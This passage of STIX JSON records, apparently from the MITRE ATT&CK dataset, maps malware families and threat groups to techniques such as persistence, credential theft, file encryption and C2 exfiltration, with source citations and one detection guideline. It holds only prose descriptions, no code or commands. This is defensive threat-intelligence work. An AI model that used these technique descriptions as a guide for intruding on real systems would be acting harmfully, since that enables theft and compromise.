ICMP, custom TCP, and UDP in outbound communications.(Citation: Chronicle Winnti for Linux May 2019)", "relationship_type": "uses", "source_ref": "malware--8787e86d-8475-4f13-acea-d33eb83b6105", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--406257ac-ff42-4e15-b72e-50202e38b675", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Symantec Calisto July 2018", "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", "url": "https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-21T19:42:40.613Z", "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to upload and download files to the victim's machine.(Citation: Symantec Calisto July 2018)", "relationship_type": "uses", "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4065a71f-ae1b-4dfc-9825-56d2af6d589c", "type": "relationship", "created": "2020-03-12T18:53:29.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}, {"source_name": "CheckPoint Dok", "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."}], "modified": "2021-10-12T02:43:33.323Z", "description": "[Dok](https://attack.mitre.org/software/S0281) installs two LaunchAgents to redirect all network traffic with a randomly generated name for each plist file maintaining the format <code>com.random.name.plist</code>.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)", "relationship_type": "uses", "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--406ad011-8d60-45b0-bb7e-52704684b4e8", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--406afc1a-4ea7-45c5-b137-7784f9ed53f3", "type": "relationship", "created": "2020-03-17T01:57:57.302Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "source_name": "FireEye APT30"}], "modified": "2020-03-27T22:10:19.833Z", "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--406ca789-682f-4e08-bb7e-60421923ee09", "type": "relationship", "created": "2020-11-06T18:40:38.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.160Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--406e78ba-fc34-4be9-9dcc-323aad40d709", "created": "2021-10-12T19:34:36.352Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has obtained and used open-source tools such as [PsExec](https://attack.mitre.org/software/S0029), [Windows Credential Editor](https://attack.mitre.org/software/S0005), and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--406fbbc1-408a-4f59-8f0c-0f670eb60879", "type": "relationship", "created": "2021-02-03T18:34:46.539Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}], "modified": "2021-04-21T11:55:51.109Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has exfiltrated entire mailboxes from compromised accounts.(Citation: DOJ Iran Indictments March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DustySky", "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}], "modified": "2021-04-27T19:53:40.817Z", "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses a function to obfuscate the name of functions and other parts of the malware.(Citation: DustySky)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--407f0280-bfaf-4c9b-919a-703f2467e10b", "created": "2021-01-08T21:14:16.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-13T19:05:18.533Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use XDG Autostart Entries to establish persistence on Linux systems.(Citation: Red Canary NETWIRE January 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--408183ae-ffff-4341-8c90-f007226656aa", "type": "relationship", "created": "2022-01-26T22:07:08.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "modified": "2022-01-26T22:07:08.652Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) has been modified to be used as a Windows service.(Citation: Talos Bisonal Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4082e0a3-e725-4f9f-98e2-3850c8cc8df2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-30T02:19:19.183Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses WinRAR to compress data that is intended to be exfiltrated.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--40848159-b266-42df-9cf8-785b2f78bcfc", "type": "relationship", "created": "2019-03-12T16:20:54.316Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla August 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf", "description": "ESET. (2018, August). Turla Outlook Backdoor: Analysis of an unusual Turla backdoor. Retrieved March 11, 2019."}, {"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-07T21:18:04.668Z", "description": "(Citation: ESET Turla August 2018)(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--40861c0e-9cbc-4355-a7c0-cc0405c70b82", "created": "2023-01-11T21:24:22.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint CSA AvosLocker Mar 2022", "description": "FBI, FinCEN, Treasury. (2022, March 17). Indicators of Compromise Associated with AvosLocker Ransomware. Retrieved January 11, 2023.", "url": "https://www.ic3.gov/Media/News/2022/220318.pdf"}, {"source_name": "Malwarebytes AvosLocker Jul 2021", "description": "Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}, {"source_name": "Trend Micro AvosLocker Apr 2022", "description": "Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}, {"source_name": "Cisco Talos Avos Jun 2022", "description": "Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.", "url": "https://blog.talosintelligence.com/avoslocker-new-arsenal/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T16:24:57.638Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) has encrypted files and network resources using AES-256 and added an `.avos`, `.avos2`, or `.AvosLinux` extension to filenames.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Cisco Talos Avos Jun 2022)(Citation: Joint CSA AvosLocker Mar 2022)", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4086a9d6-5574-48fb-be8d-e8406145e740", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", "url": "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:06:31.028Z", "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather browser usernames and passwords.(Citation: Accenture Hogfish April 2018)", "relationship_type": "uses", "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. 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(2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-08-20T22:18:06.584Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used VBscript to execute malicious code.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--40ad3b2e-e88c-43a2-82c5-666e8ae568e4", "created": "2022-03-25T20:32:32.908Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). 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Retrieved November 5, 2018."}], "modified": "2020-05-20T13:38:06.884Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can download additional files for execution on the victim\u2019s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--40b0386b-7b8c-4876-b255-3082890d1895", "created": "2022-08-07T15:44:09.616Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": " [AuTo Stealer](https://attack.mitre.org/software/S1029) can use `cmd.exe` to execute a created batch file.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:52:12.483Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--40b2270c-1549-44dc-87b2-d263941eb951", "created": "2023-07-31T19:27:49.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.573Z", "description": "[Okrum](https://attack.mitre.org/software/S0439)'s installer can attempt to achieve persistence by creating a scheduled task.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.314Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can modify the shortcut that launches Telegram by replacing its path with the malicious payload to launch with the legitimate executable.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--410d7922-e288-49ea-9607-27942505a416", "created": "2019-09-24T12:31:43.511Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). 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Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.511Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has created user accounts.(Citation: FireEye APT41 Aug 2019) ", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--410e0c58-d96c-40ae-bf00-2d4b414daf50", "type": "relationship", "created": "2020-03-20T00:17:48.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://citizenlab.org/2016/05/stealth-falcon/", "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", "source_name": "Citizen Lab Stealth Falcon May 2016"}], "modified": "2020-03-20T00:17:48.749Z", "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome.(Citation: Citizen Lab Stealth Falcon May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--410ec59e-9e11-4acc-98d6-4d7c63f09c8d", "type": "relationship", "created": "2022-02-24T21:01:49.431Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. 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(2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022.", "url": "https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf"}, {"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}, {"source_name": "MSTIC NOBELIUM May 2021", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}, {"source_name": "Secureworks IRON HEMLOCK Profile", "description": "Secureworks CTU. (n.d.). IRON HEMLOCK. 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It also uses AES128-CBC encrypted blobs for [SUNBURST](https://attack.mitre.org/software/S0559) source code and data extracted from the SolarWinds Orion <MsBuild.exe</code> process.(Citation: CrowdStrike SUNSPOT Implant January 2021)", "relationship_type": "uses", "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4113afe0-e84a-44ba-9180-3033de06d72e", "type": "relationship", "created": "2021-03-05T18:54:56.753Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). 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Retrieved March 2, 2021."}], "modified": "2021-03-05T18:54:56.753Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used a function to gather the current time.(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4113ccd6-1134-4cef-bf5b-aca9a2364c82", "type": "relationship", "created": "2021-10-01T21:53:33.653Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.560Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) has exfiltrated data over its C2 channel.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41160796-9596-4a58-92a1-14dd3c9f4271", "type": "relationship", "created": "2021-09-28T18:53:02.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.300Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can upload data from the victim's machine to the C2 server.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 